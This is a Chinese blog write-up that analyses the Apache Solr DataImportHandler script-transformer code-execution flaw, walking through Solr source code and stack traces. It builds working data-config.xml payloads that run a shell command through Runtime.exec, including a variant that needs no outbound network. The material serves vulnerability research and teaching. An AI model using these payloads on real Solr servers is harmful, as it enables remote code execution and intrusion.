论如何从发现者视角看 apache solr 的 js 代码执行漏洞

平时分析和复现了很多 cve,但是一遇到逻辑稍微复杂的,漏洞通告给的位置不是很详细的,代码 diff 很冗杂的,分析起来就会很困难,然后这时候其实就是需要耐心和思维逻辑了,这次花了接近一周的时间来了解这个漏洞,其实这个漏洞倒是不重要,就是逼着自己去锻炼思维和看官方文档的能力,让自己尽量接近发现者的视角,虽然这个漏洞很老,但是我还是感觉发现它的人真的很厉害,前后的分析过程也是花费了整整一周

论如何从发现者视角看 apache solr 的 js 代码执行漏洞(已发)

前言

平时分析和复现了很多 cve,但是一遇到逻辑稍微复杂的,漏洞通告给的位置不是很详细的,代码 diff 很冗杂的,分析起来就会很困难,然后这时候其实就是需要耐心和思维逻辑了,这次花了接近一周的时间来了解这个漏洞,其实这个漏洞倒是不重要,就是逼着自己去锻炼思维和看官方文档的能力,让自己尽量接近发现者的视角,虽然这个漏洞很老,但是我还是感觉发现它的人真的很厉害,前后的分析过程也是花费了整整一周

apahce solr 的简单介绍

参考https://paper.seebug.org/1515/

如果你需要挖掘这个 cve,那首先就要了解这个东西是啥,是干嘛的

Apache Solr 是一个开源的企业级搜索平台,主要用于构建高效的全文搜索和分析应用。它基于 Apache Lucene 库开发,提供了丰富的功能和高度可扩展的架构,广泛应用于电子商务、网站搜索、日志分析等领域。

当然这也是有个大概的印象

然后还需要对其中的一些关键组件进行了解
Solr 中的 Core

运行在 Solr 服务器中的具体唯一命名的、可管理、可配置的索引,一台 Solr 可以托管一个或多个索引。solr 的内核是运行在 solr 服务器中具有唯一命名的、可管理和可配置的索引。一台 solr 服务器可以托管一个或多个内核。内核的典型用途是区分不同模式(具有不同字段、不同的处理方式)的文档。

collection 集合
一个集合由一个或多个核心(分片)组成,SolrCloud 引入了集合的概念,集合将索引扩展成不同的分片然后分配到多台服务器,分布式索引的每个分片都被托管在一个 solr 的内核中(一个内核对应一个分片呗)。提起 SolrCloud,更应该从分片的角度,不应该谈及内核。

然后还有一些重要的配置文件,师傅们可以去看看

这一步是非常重要的

漏洞点寻找

这里就以这个漏洞为例子了,首先 js 引擎能够执行 java 代码
参考https://xz.aliyun.com/t/8697?u_atoken=933b6c4d9d69a084ad332396e3cfa185&u_asig=1a0c381017308176319378654e003e&time__1311=eqmxnD0QqWqNGODlhmq0%3DieDvdOXaD7whpD

感觉这个在实战中很常用
一个最基本的例子

  1. String test="function fun(a,b){ return a+b; }; print(fun(1,4));";
  2. ScriptEngineManager manager = new ScriptEngineManager(null);
  3. ScriptEngine engine = manager.getEngineByName("js");
  4. engine.eval(test);

当然这样是根本没有什么漏洞的
但是它可以执行 java 的代码

  1. import javax.script.ScriptEngine;
  2. import javax.script.ScriptEngineManager;
  3. import javax.script.ScriptException;
  4. public class Demo {
  5. public static void main(String[] args) throws ScriptException {
  6. String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec('calc')};";
  7. ScriptEngineManager manager = new ScriptEngineManager(null);
  8. ScriptEngine engine = manager.getEngineByName("js");
  9. engine.eval(test);
  10. }
  11. }


这个漏洞的根本原因也是它,那我们就需要考虑如何寻找这个点
因为看过比较多的代码,而 java 开发者门写代码也比较统一,所以可以全局查找

  1. ScriptEngine

搜到一个类

然后看了一下没有什么卵用
然后再找找其他的

然后找到了一个类 ScriptTransformer

  1. private void initEngine(Context context) {
  2. String scriptText = context.getScript();
  3. String scriptLang = context.getScriptLanguage();
  4. if (scriptText == null) {
  5. throw new DataImportHandlerException(SEVERE,
  6. "<script> tag is not present under <dataConfig>");
  7. }
  8. ScriptEngineManager scriptEngineMgr = new ScriptEngineManager();
  9. ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang);
  10. if (scriptEngine == null) {
  11. throw new DataImportHandlerException(SEVERE,
  12. "Cannot load Script Engine for language: " + scriptLang);
  13. }
  14. if (scriptEngine instanceof Invocable) {
  15. engine = (Invocable) scriptEngine;
  16. } else {
  17. throw new DataImportHandlerException(SEVERE,
  18. "The installed ScriptEngine for: " + scriptLang
  19. + " does not implement Invocable. Class is "
  20. + scriptEngine.getClass().getName());
  21. }
  22. try {
  23. scriptEngine.eval(scriptText);
  24. } catch (ScriptException e) {
  25. wrapAndThrow(SEVERE, e, "'eval' failed with language: " + scriptLang
  26. + " and script: \n" + scriptText);
  27. }
  28. }

可以看到内容可以控制

漏洞点回溯

我试过一步一步往上找,但是很难,这里我们就需要看官方文档了,我相信发现者也是查看官方文档的

官方文档的链接
https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-Configurationindata-config.xml

当然一看到这个很懵逼,是干嘛的?其实这个就是需要花时间去慢慢理解的

首先它是一个 transformer 是 data-config.xml 的一个属性
transformer :要应用于此实体的变压器。
其实就是用来处理数据的

然后光看这个其实没有什么大用,需要我们把这个文档仔仔细细的看一遍
其实这个配置就相当于数据库文件的配置,然后作用主要就是一些查询语句,处理查询后的内容

具体是如果操作呢?
官方文档也给出了方法

可以使用 full-import 来导入

到这里,我们已经能从 source 到 sink 了,但是中间就有很多细节了,这个过程就是不断的修改 paylaod 和不断调试的过程了

在 DataImporter 类中找到了我们的
public static final String FULL_IMPORT_CMD = “full-import”;
然后就是查找调用

然后找了赛选一下
是在 DataImporter 的handleRequestBody 方法中

  1. if (DataImporter.FULL_IMPORT_CMD.equals(command)
  2. || DataImporter.DELTA_IMPORT_CMD.equals(command) ||
  3. IMPORT_CMD.equals(command)) {
  4. importer.maybeReloadConfiguration(requestParams, defaultParams);
  5. UpdateRequestProcessorChain processorChain =
  6. req.getCore().getUpdateProcessorChain(params);
  7. UpdateRequestProcessor processor = processorChain.createProcessor(req, rsp);
  8. SolrResourceLoader loader = req.getCore().getResourceLoader();
  9. DIHWriter sw = getSolrWriter(processor, loader, requestParams, req);
  10. if (requestParams.isDebug()) {
  11. if (debugEnabled) {
  12. // Synchronous request for the debug mode
  13. importer.runCmd(requestParams, sw);
  14. rsp.add("mode", "debug");
  15. rsp.add("documents", requestParams.getDebugInfo().debugDocuments);
  16. if (requestParams.getDebugInfo().debugVerboseOutput != null) {
  17. rsp.add("verbose-output", requestParams.getDebugInfo().debugVerboseOutput);
  18. }
  19. } else {
  20. message = DataImporter.MSG.DEBUG_NOT_ENABLED;
  21. }
  22. } else {
  23. // Asynchronous request for normal mode
  24. if(requestParams.getContentStream() == null &amp;&amp; !requestParams.isSyncMode()){
  25. importer.runAsync(requestParams, sw);
  26. } else {
  27. importer.runCmd(requestParams, sw);
  28. }
  29. }
  30. }

然后需要检查一下 data-config.xml 配置是否生效

  1. <requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
  2. <lst name="defaults">
  3. <str name="config">data-config.xml</str>
  4. </lst>
  5. </requestHandler>

调试分析+paylaod 构造

基础细节调试

paylaod 是如何一步一步调试出的呢?
首先基本的应该怎么写,网上有很多了,随便找一个就 ok 的

首先配置文件由

这些部分组成
然后是配置的要求

  1. <dataConfig>
  2. <script><![CDATA[
  3. function test(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
  4. }
  5. ]]></script>
  6. <dataSource type="JdbcDataSource" name="aaa" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://host/dbname" user="db_username" password="db_password"/>
  7. <document>
  8. <entity name="sample"
  9. transformer="script:test" />
  10. </document>
  11. </dataConfig>

按理来说是需要配置数据库源的
直接一路来到我们处理相关请求的地方
栈堆如下

  1. runCmd:482, DataImporter (org.apache.solr.handler.dataimport)
  2. handleRequestBody:184, DataImportHandler (org.apache.solr.handler.dataimport)
  3. handleRequest:199, RequestHandlerBase (org.apache.solr.handler)
  4. execute:2566, SolrCore (org.apache.solr.core)
  5. execute:756, HttpSolrCall (org.apache.solr.servlet)
  6. call:542, HttpSolrCall (org.apache.solr.servlet)
  7. doFilter:397, SolrDispatchFilter (org.apache.solr.servlet)
  8. doFilter:343, SolrDispatchFilter (org.apache.solr.servlet)
  9. doFilter:1602, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
  10. doHandle:540, ServletHandler (org.eclipse.jetty.servlet)
  11. handle:146, ScopedHandler (org.eclipse.jetty.server.handler)
  12. handle:548, SecurityHandler (org.eclipse.jetty.security)
  13. handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
  14. nextHandle:257, ScopedHandler (org.eclipse.jetty.server.handler)
  15. doHandle:1588, SessionHandler (org.eclipse.jetty.server.session)
  16. nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler)
  17. doHandle:1345, ContextHandler (org.eclipse.jetty.server.handler)
  18. nextScope:203, ScopedHandler (org.eclipse.jetty.server.handler)
  19. doScope:480, ServletHandler (org.eclipse.jetty.servlet)
  20. doScope:1557, SessionHandler (org.eclipse.jetty.server.session)
  21. nextScope:201, ScopedHandler (org.eclipse.jetty.server.handler)
  22. doScope:1247, ContextHandler (org.eclipse.jetty.server.handler)
  23. handle:144, ScopedHandler (org.eclipse.jetty.server.handler)
  24. handle:220, ContextHandlerCollection (org.eclipse.jetty.server.handler)
  25. handle:126, HandlerCollection (org.eclipse.jetty.server.handler)
  26. handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
  27. handle:335, RewriteHandler (org.eclipse.jetty.rewrite.handler)
  28. handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
  29. handle:502, Server (org.eclipse.jetty.server)
  30. handle:364, HttpChannel (org.eclipse.jetty.server)
  31. onFillable:260, HttpConnection (org.eclipse.jetty.server)
  32. succeeded:305, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
  33. fillable:103, FillInterest (org.eclipse.jetty.io)
  34. run:118, ChannelEndPoint$2 (org.eclipse.jetty.io)
  35. runTask:333, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
  36. doProduce:310, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
  37. tryProduce:168, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
  38. run:126, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
  39. run:366, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
  40. runJob:765, QueuedThreadPool (org.eclipse.jetty.util.thread)
  41. run:683, QueuedThreadPool$2 (org.eclipse.jetty.util.thread)
  42. run:750, Thread (java.lang)

然后进入方法

  1. public void doFullImport(DIHWriter writer, RequestInfo requestParams) {
  2. log.info("Starting Full Import");
  3. setStatus(Status.RUNNING_FULL_DUMP);
  4. try {
  5. DIHProperties dihPropWriter = createPropertyWriter();
  6. setIndexStartTime(dihPropWriter.getCurrentTimestamp());
  7. docBuilder = new DocBuilder(this, writer, dihPropWriter, requestParams);
  8. checkWritablePersistFile(writer, dihPropWriter);
  9. docBuilder.execute();
  10. if (!requestParams.isDebug())
  11. cumulativeStatistics.add(docBuilder.importStatistics);
  12. } catch (Exception e) {
  13. SolrException.log(log, "Full Import failed", e);
  14. docBuilder.handleError("Full Import failed", e);
  15. } finally {
  16. setStatus(Status.IDLE);
  17. DocBuilder.INSTANCE.set(null);
  18. }
  19. }

然后具体的数据导入部分一眼顶真是在
docBuilder.execute();方法

然后中间就是跟着调用者走

  1. getDataSourceInstance:375, DataImporter (org.apache.solr.handler.dataimport)
  2. getDataSource:100, ContextImpl (org.apache.solr.handler.dataimport)
  3. init:98, XPathEntityProcessor (org.apache.solr.handler.dataimport)
  4. init:77, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
  5. buildDocument:434, DocBuilder (org.apache.solr.handler.dataimport)
  6. buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
  7. doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
  8. execute:233, DocBuilder (org.apache.solr.handler.dataimport)

来到 getDataSourceInstance 方法

  1. public DataSource getDataSourceInstance(Entity key, String name, Context ctx) {
  2. Map<String,String> p = requestLevelDataSourceProps.get(name);
  3. if (p == null)
  4. p = config.getDataSources().get(name);
  5. if (p == null)
  6. p = requestLevelDataSourceProps.get(null);// for default data source
  7. if (p == null)
  8. p = config.getDataSources().get(null);
  9. if (p == null)
  10. throw new DataImportHandlerException(SEVERE,
  11. "No dataSource :" + name + " available for entity :" + key.getName());
  12. String type = p.get(TYPE);
  13. DataSource dataSrc = null;
  14. if (type == null) {
  15. dataSrc = new JdbcDataSource();
  16. } else {
  17. try {
  18. dataSrc = (DataSource) DocBuilder.loadClass(type, getCore()).newInstance();
  19. } catch (Exception e) {
  20. wrapAndThrow(SEVERE, e, "Invalid type for data source: " + type);
  21. }
  22. }
  23. try {
  24. Properties copyProps = new Properties();
  25. copyProps.putAll(p);
  26. Map<String, Object> map = ctx.getRequestParameters();
  27. if (map.containsKey("rows")) {
  28. int rows = Integer.parseInt((String) map.get("rows"));
  29. if (map.containsKey("start")) {
  30. rows += Integer.parseInt((String) map.get("start"));
  31. }
  32. copyProps.setProperty("maxRows", String.valueOf(rows));
  33. }
  34. dataSrc.init(ctx, copyProps);
  35. } catch (Exception e) {
  36. wrapAndThrow(SEVERE, e, "Failed to initialize DataSource: " + key.getDataSourceName());
  37. }
  38. return dataSrc;
  39. }

会实例化我们的 datasource,并且初始化,然后解析我们传入的参数

然后跟进初始化过程
其中在 createConnectionFactory 的时候就会报错

  1. public void init(Context context, Properties initProps) {
  2. resolveVariables(context, initProps);
  3. initProps = decryptPwd(context, initProps);
  4. Object o = initProps.get(CONVERT_TYPE);
  5. if (o != null)
  6. convertType = Boolean.parseBoolean(o.toString());
  7. factory = createConnectionFactory(context, initProps);
  8. String bsz = initProps.getProperty("batchSize");
  9. if (bsz != null) {
  10. bsz = context.replaceTokens(bsz);
  11. try {
  12. batchSize = Integer.parseInt(bsz);
  13. if (batchSize == -1)
  14. batchSize = Integer.MIN_VALUE;
  15. } catch (NumberFormatException e) {
  16. log.warn("Invalid batch size: " + bsz);
  17. }
  18. }


获取我们的 driver 并加载
但是问题就是根本没有这个类,所以根本加载不了,当然我们可以自己添加 mysql 的依赖,但是别的环境上这些都不是我们可以控制的,所以选择寻找别的 datasource

datasource 的挑选

FieldReaderDataSource
FieldReaderDataSource 通常与 XPathEntityProcessor 结合使用,以便通过 XPath 表达式解析 XML 数据。

它是解析 xml 字段的

  1. <dataConfig>
  2. <!-- 数据源配置 -->
  3. <dataSource name="db" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/mydb" user="user" password="password" />
  4. <dataSource name="f" type="FieldReaderDataSource" encoding="UTF-8" />
  5. <document>
  6. <!-- 父实体,从数据库中读取 xmlData 字段 -->
  7. <entity name="dbEntity" dataSource="db" query="SELECT id, xmlData FROM docs">
  8. <!-- id 字段 -->
  9. <field column="id" name="id" />
  10. <!-- 子实体,处理 xmlData 字段中的 XML 内容 -->
  11. <entity dataSource="f" processor="XPathEntityProcessor" dataField="dbEntity.xmlData">
  12. <!-- 从 XML 中解析出 title 和 content 字段 -->
  13. <field column="/doc/title" name="title" />
  14. <field column="/doc/content" name="content" />
  15. </entity>
  16. </entity>
  17. </document>
  18. </dataConfig>

意味着还是需要 JdbcDataSource

URLDataSource

URLDataSource 是 Solr 数据导入机制(DIH)中的一种数据源类型,用于直接从外部 URL 读取数据并进行索引。通常用于从网页、REST API、RSS 源或 XML/JSON 文件等获取数据,而不是从数据库或文件系统中获取数据。
这个不需要其他的各种参数,感觉是不错的

其中我叫聪明的 GPT 给了一个例子

假设我们有一个 URL http://example.com/data.xml,该链接返回 XML 格式的数据,内容如下:

  1. <items>
  2. <item>
  3. <title>Example Title 1</title>
  4. <description>This is example description 1.</description>
  5. </item>
  6. <item>
  7. <title>Example Title 2</title>
  8. <description>This is example description 2.</description>
  9. </item>
  10. </items>
  1. <dataConfig>
  2. <dataSource type="URLDataSource" />
  3. <document>
  4. <!-- 主实体,从 URL 中读取数据 -->
  5. <entity name="urlEntity" url="http://example.com/data.xml" processor="XPathEntityProcessor" forEach="/items/item">
  6. <!-- 使用 XPath 提取 title 和 description 字段 -->
  7. <field column="/item/title" name="title" />
  8. <field column="/item/description" name="description" />
  9. </entity>
  10. </document>
  11. </dataConfig>

然后加上 ScriptTransformer ,最后构造出来的如下

  1. <dataConfig>
  2. <script><![CDATA[
  3. function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/a");
  4. }
  5. ]]></script>
  6. <dataSource type="URLDataSource" />
  7. <document>
  8. <entity name="urlEntity"
  9. url="http://49.232.222.195/data.xml"
  10. processor="XPathEntityProcessor"
  11. forEach="/items/item"
  12. transformer="script:poc">
  13. <field column="title" name="title_transformed" />
  14. <field column="description" name="description" />
  15. </entity>
  16. </document>
  17. </dataConfig>

然后再次调试分析
这次同样的来到了 init 方法,不过是 URLDataSource
可以看到就是初始化一些基础的配置

  1. public void init(Context context, Properties initProps) {
  2. this.context = context;
  3. this.initProps = initProps;
  4. baseUrl = getInitPropWithReplacements(BASE_URL);
  5. if (getInitPropWithReplacements(ENCODING) != null)
  6. encoding = getInitPropWithReplacements(ENCODING);
  7. String cTimeout = getInitPropWithReplacements(CONNECTION_TIMEOUT_FIELD_NAME);
  8. String rTimeout = getInitPropWithReplacements(READ_TIMEOUT_FIELD_NAME);
  9. if (cTimeout != null) {
  10. try {
  11. connectionTimeout = Integer.parseInt(cTimeout);
  12. } catch (NumberFormatException e) {
  13. log.warn("Invalid connection timeout: " + cTimeout);
  14. }
  15. }
  16. if (rTimeout != null) {
  17. try {
  18. readTimeout = Integer.parseInt(rTimeout);
  19. } catch (NumberFormatException e) {
  20. log.warn("Invalid read timeout: " + rTimeout);
  21. }
  22. }
  23. }

然后最后成功初始化也没有报错
然后继续解析我们的 xml 数据,来到 getData 方法

  1. getData:89, URLDataSource (org.apache.solr.handler.dataimport)
  2. getData:43, URLDataSource (org.apache.solr.handler.dataimport)
  3. initQuery:291, XPathEntityProcessor (org.apache.solr.handler.dataimport)
  4. fetchNextRow:232, XPathEntityProcessor (org.apache.solr.handler.dataimport)
  5. nextRow:212, XPathEntityProcessor (org.apache.solr.handler.dataimport)
  6. nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
  7. buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
  8. buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
  9. doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
  10. execute:233, DocBuilder (org.apache.solr.handler.dataimport)
  11. doFullImport:424, DataImporter (org.apache.solr.handler.dataimport)
  12. runCmd:483, DataImporter (org.apache.solr.handler.dataimport)
  13. lambda$runAsync$0:466, DataImporter (org.apache.solr.handler.dataimport)
  14. run:-1, 1892718288 (org.apache.solr.handler.dataimport.DataImporter$$Lambda$327)
  15. run:750, Thread (java.lang)

getData 方法

  1. public Reader getData(String query) {
  2. URL url = null;
  3. try {
  4. if (URIMETHOD.matcher(query).find()) url = new URL(query);
  5. else url = new URL(baseUrl + query);
  6. log.debug("Accessing URL: " + url.toString());
  7. URLConnection conn = url.openConnection();
  8. conn.setConnectTimeout(connectionTimeout);
  9. conn.setReadTimeout(readTimeout);
  10. InputStream in = conn.getInputStream();
  11. String enc = encoding;
  12. if (enc == null) {
  13. String cType = conn.getContentType();
  14. if (cType != null) {
  15. Matcher m = CHARSET_PATTERN.matcher(cType);
  16. if (m.find()) {
  17. enc = m.group(1);
  18. }
  19. }
  20. }
  21. if (enc == null)
  22. enc = UTF_8;
  23. DataImporter.QUERY_COUNT.get().incrementAndGet();
  24. return new InputStreamReader(in, enc);
  25. } catch (Exception e) {
  26. log.error("Exception thrown while getting data", e);
  27. throw new DataImportHandlerException(DataImportHandlerException.SEVERE,
  28. "Exception in invoking url " + url, e);
  29. }
  30. }

就是和远程数据建立连接,然后读取数据,最后返回数据
返回数据之后就开始处理数据了

调用栈如下

  1. initEngine:87, ScriptTransformer (org.apache.solr.handler.dataimport)
  2. transformRow:52, ScriptTransformer (org.apache.solr.handler.dataimport)
  3. applyTransformer:222, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
  4. nextRow:280, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
  5. buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
  6. buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
  7. doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
  8. execute:233, DocBuilder (org.apache.solr.handler.dataimport)
  9. doFullImport:424, DataImporter (org.apache.solr.handler.dataimport)
  10. runCmd:483, DataImporter (org.apache.solr.handler.dataimport)
  11. lambda$runAsync$0:466, DataImporter (org.apache.solr.handler.dataimport)
  12. run:-1, 1892718288 (org.apache.solr.handler.dataimport.DataImporter$$Lambda$327)
  13. run:750, Thread (java.lang)

最后也是调用了 ScriptTransformer 的 transformRow 方法来处理数据

  1. public Object transformRow(Map<String, Object> row, Context context) {
  2. try {
  3. if (engine == null)
  4. initEngine(context);
  5. if (engine == null)
  6. return row;
  7. return engine.invokeFunction(functionName, new Object[]{row, context});
  8. } catch (DataImportHandlerException e) {
  9. throw e;
  10. } catch (Exception e) {
  11. wrapAndThrow(SEVERE,e, "Error invoking script for entity " + context.getEntityAttribute("name"));
  12. }
  13. //will not reach here
  14. return null;
  15. }

跟进 initEngine 方法

  1. private void initEngine(Context context) {
  2. String scriptText = context.getScript();
  3. String scriptLang = context.getScriptLanguage();
  4. if (scriptText == null) {
  5. throw new DataImportHandlerException(SEVERE,
  6. "<script> tag is not present under <dataConfig>");
  7. }
  8. ScriptEngineManager scriptEngineMgr = new ScriptEngineManager();
  9. ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang);
  10. if (scriptEngine == null) {
  11. throw new DataImportHandlerException(SEVERE,
  12. "Cannot load Script Engine for language: " + scriptLang);
  13. }
  14. if (scriptEngine instanceof Invocable) {
  15. engine = (Invocable) scriptEngine;
  16. } else {
  17. throw new DataImportHandlerException(SEVERE,
  18. "The installed ScriptEngine for: " + scriptLang
  19. + " does not implement Invocable. Class is "
  20. + scriptEngine.getClass().getName());
  21. }
  22. try {
  23. scriptEngine.eval(scriptText);
  24. } catch (ScriptException e) {
  25. wrapAndThrow(SEVERE, e, "'eval' failed with language: " + scriptLang
  26. + " and script: \n" + scriptText);
  27. }
  28. }

看到这也是终于的来到我们触发漏洞的地方了

可以看见我们的 POC 也是成功的传入了进去

  1. root@08ae28c54bf9:/tmp# ls
  2. hsperfdata_root jetty-0.0.0.0-8983-webapp-_solr-any-4881157502968994667.dir jetty-0.0.0.0-8983-webapp-_solr-any-8484391420778966491.dir start_1436351107128298018.properties

解析文件后

  1. root@08ae28c54bf9:/tmp# ls
  2. a hsperfdata_root jetty-0.0.0.0-8983-webapp-_solr-any-4881157502968994667.dir jetty-0.0.0.0-8983-webapp-_solr-any-8484391420778966491.di

不出网如何利用+Processor 选择

经过上面的 POC,虽然成功触发了漏洞,但是如果环境不出网如何利用,通过基础的调试分析,本地就是 transformer 处理,只有能走到这,那么触发漏洞就根本不是问题,可不可以不要 datasource 呢

尝试修改一下 paylaod

一开始尝试使用

  1. <dataConfig>
  2. <script><![CDATA[
  3. function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/a");
  4. }
  5. ]]></script>
  6. <document>
  7. <entity name="urlEntity"
  8. transformer="script:poc">
  9. </entity>
  10. </document>
  11. </dataConfig>

然后发现没有成功,然后调试查找原因
发现在 buildDocument 方法抛出了异常

  1. private void buildDocument(VariableResolver vr, DocWrapper doc,
  2. Map<String,Object> pk, EntityProcessorWrapper epw, boolean isRoot,
  3. ContextImpl parentCtx) {
  4. List<EntityProcessorWrapper> entitiesToDestroy = new ArrayList<>();
  5. try {
  6. buildDocument(vr, doc, pk, epw, isRoot, parentCtx, entitiesToDestroy);
  7. } catch (Exception e) {
  8. throw new RuntimeException(e);
  9. } finally {
  10. for (EntityProcessorWrapper entityWrapper : entitiesToDestroy) {
  11. entityWrapper.destroy();
  12. }
  13. resetEntity(epw);
  14. }
  15. }

然后跟踪了一下在 epw.init(ctx)初始化的时候报错

  1. private void buildDocument(VariableResolver vr, DocWrapper doc,
  2. Map<String, Object> pk, EntityProcessorWrapper epw, boolean isRoot,
  3. ContextImpl parentCtx, List<EntityProcessorWrapper> entitiesToDestroy) {
  4. ContextImpl ctx = new ContextImpl(epw, vr, null,
  5. pk == null ? Context.FULL_DUMP : Context.DELTA_DUMP,
  6. session, parentCtx, this);
  7. epw.init(ctx);
  8. if (!epw.isInitialized()) {
  9. entitiesToDestroy.add(epw);
  10. epw.setInitialized(true);
  11. }

然后跟进 init 方法

  1. public void init(Context context) {
  2. rowcache = null;
  3. this.context = context;
  4. resolver = (VariableResolver) context.getVariableResolver();
  5. if (entityName == null) {
  6. onError = resolver.replaceTokens(context.getEntityAttribute(ON_ERROR));
  7. if (onError == null) onError = ABORT;
  8. entityName = context.getEntityAttribute(ConfigNameConstants.NAME);
  9. }
  10. delegate.init(context);
  11. }

经过不断尝试,这个 init 方法是一个重载的方法

后面是否加载数据源关键点是在于 delegate

这里我什么都没有输入默认的是

所以会加载数据,如果不需要进入 SqlEntityProcessor 的 init 方法那就好办了
看看还有没有

可以发现还是有很多的,至于如何调用到其他的 init 方法,然后他们之间的区别,我们可以看看官方文档


这里我们尝试使用 FileListEntityProcessor

它的一些参数

  1. fileName :(必需)用于标识文件的正则表达式模式
  2. baseDir :(必需)基目录(绝对路径)
  3. recursive : Recursive listing or not. Default is 'false'
  4. excludes :排除文件名的正则表达式模式
  5. newerThan :日期参数 。使用格式 yyyy-MM-dd HHmmss 。它也可以是 datemath 字符串,例如:('NOW-3DAYS')。单引号是必需的。或者它可以是有效的 variableresolver 格式,如 ${var.name})
  6. olderThan :日期参数 。规则与上述相同
  7. biggerThan : A int param.
  8. smallerThan : A int param.
  9. rootEntity :此必须为 false(除非您只想索引文件名)直接位于 下的实体是根实体。这意味着,对于根实体发出的每一行,都会在 Solr/Lucene 中创建一个文档。但在这种情况下,我们不希望每个文件制作一个文档。我们希望以下实体 'x' 发出的每一行创建一个文档。因为实体 'f' 具有 rootEntity=false,所以它正下方的实体会自动成为根实体,并且由它发出的每一行都成为一个文档。
  10. dataSource :如果使用 Solr1.3 则必须设置为 null”,因为这样不会使用任何 DataSource。无需在 Solr1.4 中指定。这只是意味着我们不会创建 DataSource 实例。(在大多数情况下,只有一个DataSourceJdbcDataSource),所有实体都只使用它们。在 FileListEntityProcessor 的情况下,不需要 DataSource

然后稍微看一下官方的例子

  1. <dataConfig>
  2. <dataSource type="FileDataSource" />
  3. <document>
  4. <entity name="f" processor="FileListEntityProcessor" baseDir="/some/path/to/files" fileName=".*xml" newerThan="'NOW-3DAYS'" recursive="true" rootEntity="false" dataSource="null">
  5. <entity name="x" processor="XPathEntityProcessor" forEach="/the/record/xpath" url="${f.fileAbsolutePath}">
  6. <field column="full_name" xpath="/field/xpath"/>
  7. </entity>
  8. </entity>
  9. </document>
  10. </dataConfig>

就能明白了
我们自己写一个

  1. <dataConfig>
  2. <script><![CDATA[
  3. function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/a");
  4. }
  5. ]]></script>
  6. <document>
  7. <entity name="test"
  8. fileName=".*xml"
  9. baseDir="/"
  10. processor="FileListEntityProcessor"
  11. transformer="script:poc" />
  12. </document>
  13. </dataConfig>

然后就开始调试分析

  1. init:116, FileListEntityProcessor (org.apache.solr.handler.dataimport)
  2. init:77, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
  3. buildDocument:434, DocBuilder (org.apache.solr.handler.dataimport)
  4. buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
  5. doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
  6. execute:233, DocBuilder (org.apache.solr.handler.dataimport)
  7. doFullImport:424, DataImporter (org.apache.solr.handler.dataimport)
  8. runCmd:483, DataImporter (org.apache.solr.handler.dataimport)
  9. lambda$runAsync$0:466, DataImporter (org.apache.solr.handler.dataimport)
  10. run:-1, 1892718288 (org.apache.solr.handler.dataimport.DataImporter$$Lambda$327)
  11. run:750, Thread (java.lang)

顺利的来到了 FileListEntityProcessor 的 init 方法

  1. public void init(Context context) {
  2. super.init(context);
  3. fileName = context.getEntityAttribute(FILE_NAME);
  4. if (fileName != null) {
  5. fileName = context.replaceTokens(fileName);
  6. fileNamePattern = Pattern.compile(fileName);
  7. }
  8. baseDir = context.getEntityAttribute(BASE_DIR);
  9. if (baseDir == null)
  10. throw new DataImportHandlerException(DataImportHandlerException.SEVERE,
  11. "'baseDir' is a required attribute");
  12. baseDir = context.replaceTokens(baseDir);
  13. File dir = new File(baseDir);
  14. if (!dir.isDirectory())
  15. throw new DataImportHandlerException(DataImportHandlerException.SEVERE,
  16. "'baseDir' value: " + baseDir + " is not a directory");
  17. String r = context.getEntityAttribute(RECURSIVE);
  18. if (r != null)
  19. recursive = Boolean.parseBoolean(r);
  20. excludes = context.getEntityAttribute(EXCLUDES);
  21. if (excludes != null) {
  22. excludes = context.replaceTokens(excludes);
  23. excludesPattern = Pattern.compile(excludes);
  24. }
  25. }

走完并没有报错,只是获取了一些输入的值

可以看到我们输入的值 baseDir=”/“就是列出目录下的文件,估计输入的匹配模式就是匹配目录下的文件了

初始化后在处理数据的时候会调用 FileListEntityProcessor 的方法

  1. nextRow:226, FileListEntityProcessor (org.apache.solr.handler.dataimport)
  2. nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
  3. buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)

跟进 nextRow 方法

  1. public Map<String, Object> nextRow() {
  2. if (rowIterator != null)
  3. return getNext();
  4. List<Map<String, Object>> fileDetails = new ArrayList<>();
  5. File dir = new File(baseDir);
  6. String dateStr = context.getEntityAttribute(NEWER_THAN);
  7. newerThan = getDate(dateStr);
  8. dateStr = context.getEntityAttribute(OLDER_THAN);
  9. olderThan = getDate(dateStr);
